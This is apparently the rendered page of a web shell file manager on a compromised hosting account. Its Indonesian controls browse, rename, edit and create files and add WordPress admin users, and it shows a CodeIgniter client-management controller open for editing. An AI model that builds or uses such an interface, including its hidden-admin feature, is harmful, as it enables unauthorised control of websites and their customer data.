📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/controllers
⬅️ Kembali ke folder sebelumnya
📄
Clientes.php
📄
Configuraciones.php
📄
Login.php
📄
Paneles.php
📄
Perfiles.php
📄
Productos.php
📄
Servicios.php
📄
Usuarios.php
📄
Ventas.php
📄
Welcome.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Clientes.php
Configuraciones.php
Login.php
Paneles.php
Perfiles.php
Productos.php
Servicios.php
Usuarios.php
Ventas.php
Welcome.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Clientes.php
<?php defined('BASEPATH') or exit('No direct script access allowed'); class Clientes extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('cliente'); $this->load->library('PHPExcel'); $this->load->library('excel'); } public function index() { //$data["listaClientes"] = $this->cliente->obtenerTodos(); $this->load->view('header'); $this->load->view('clientes/index'); $this->load->view('footer'); } public function guardarCliente() { $datosNuevoCliente = array( "nombre_cli" => $this->input->post('nombre_cli'), "apellido_cli" => $this->input->post('apellido_cli'), "telefono_cli" => $this->input->post('telefono_cli'), "correo_cli" => $this->input->post('correo_cli') ); if ($this->cliente->insertar($datosNuevoCliente)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Cliente ingresado con exito." ); redirect('clientes/index'); } else { $this->session->set_flashdata( "error", "Cliente no ingresado algo fallo." ); redirect('clientes/index'); } } public function eliminarClienteCompleto($id_cli) { if ($this->cliente->eliminar($id_cli)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Cliente eliminado con exito." ); redirect('clientes/index'); } else { $this->session->set_flashdata( "error", "Cliente no eliminado algo fallo." ); redirect('clientes/index'); } } public function editarCliente() { $datosNuevoCliente = array( "nombre_cli" => $this->input->post('nombre_cli'), "apellido_cli" => $this->input->post('apellido_cli'), "telefono_cli" => $this->input->post('telefono_cli'), "correo_cli" => $this->input->post('correo_cli'), "estado_cli" => $this->input->post('estado_cli') ); if ($this->cliente->actualizar($this->input->post('id_cli'), $datosNuevoCliente)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Cliente editado con exito." ); redirect('clientes/index'); } else { $this->session->set_flashdata( "error", "Cliente no editado algo fallo." ); redirect('clientes/index'); } } public function import() { // $file_picture = ""; // $created_at = date("Y-m-d H:i:s"); // $updated_at = ""; if (isset($_FILES["file"]["name"])) { $path = $_FILES["file"]["tmp_name"]; PHPExcel_Settings::setZipClass(PHPExcel_Settings::PCLZIP); $object = PHPExcel_IOFactory::load($path); foreach ($object->getWorksheetIterator() as $worksheet) { $highestRow = $worksheet->getHighestRow(); $highestColumn = $worksheet->getHighestColumn(); for ($row = 2; $row <= $highestRow; $row++) { for ($column = 0; $column <= $highestColumn; $column++) { if ($worksheet->getCellByColumnAndRow($column, $row)->getValue() != "") { $nombre_cli = $worksheet->getCellByColumnAndRow(0, $row)->getValue(); $apellido_cli = $worksheet->getCellByColumnAndRow(1, $row)->getValue(); $telefono_cli = $worksheet->getCellByColumnAndRow(2, $row)->getValue(); $correo_cli = $worksheet->getCellByColumnAndRow(3, $row)->getValue(); //$estado_cli = $worksheet->getCellByColumnAndRow(4, $row)->getValue(); $tipo_cli = $worksheet->getCellByColumnAndRow(4, $row)->getValue(); $params[] = array( 'nombre_cli' => $nombre_cli, 'apellido_cli' => $apellido_cli, 'telefono_cli' => $telefono_cli, 'correo_cli' => $correo_cli, 'tipo_cli' => $tipo_cli ); } } } } // echo "<p>" . $this->producto->insertar($params) . "</p>"; //print_r($params); if ($this->cliente->importar($params)) { //si es verdadero -> SI se inserto $this->session->set_flashdata( "confirmacion", "Clientes importados con exito." ); redirect('clientes/index'); } else { $this->session->set_flashdata( "error", "Clientes no importados algo fallo." ); redirect('clientes/index'); } } } public function getData() { $results = $this->cliente->obtenerTodosJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); //$row[] = ++$no; $row[] = $result->id_cli; $row[] = $result->nombre_cli; $row[] = $result->apellido_cli; $row[] = $result->telefono_cli; if ($result->correo_cli == "" || $result->correo_cli == NULL) { $row[] = "Sin Correo"; } else { $row[] = $result->correo_cli; } $row[] = $result->estado_cli; $data[] = $row; } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->cliente->count_all_data(), "recordsFiltered" => $this->cliente->count_filtered_data(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataActivos() { $results = $this->cliente->obtenerActivosJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); if($result->estado_cli != 0){ //$row[] = ++$no; $row[] = $result->id_cli; $row[] = $result->nombre_cli; $row[] = $result->apellido_cli; $row[] = $result->telefono_cli; if ($result->correo_cli == "" || $result->correo_cli == NULL) { $row[] = "Sin Correo"; } else { $row[] = $result->correo_cli; } $row[] = $result->estado_cli; $data[] = $row; } } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->cliente->count_all_data(), "recordsFiltered" => $this->cliente->count_filtered_data(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function getDataInactivos() { $results = $this->cliente->obtenerActivosJson(); $data = []; $no = $_POST['start']; foreach ($results as $result) { $row = array(); if($result->estado_cli != 1){ //$row[] = ++$no; $row[] = $result->id_cli; $row[] = $result->nombre_cli; $row[] = $result->apellido_cli; $row[] = $result->telefono_cli; if ($result->correo_cli == "" || $result->correo_cli == NULL) { $row[] = "Sin Correo"; } else { $row[] = $result->correo_cli; } $row[] = $result->estado_cli; $data[] = $row; } } $output = array( "draw" => $_POST['draw'], "recordsTotal" => $this->cliente->count_all_data(), "recordsFiltered" => $this->cliente->count_filtered_data(), "data" => $data, ); $this->output->set_content_type('application/json')->set_output(json_encode($output)); } public function CRUD() { $opcionCrud = $this->input->post('opcionCrud'); switch ($opcionCrud) { case 1: $this->guardarCliente(); break; case 2: $this->editarCliente(); break; case 3: $this->eliminarClienteCompleto($this->input->post('id_cli')); break; } } }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup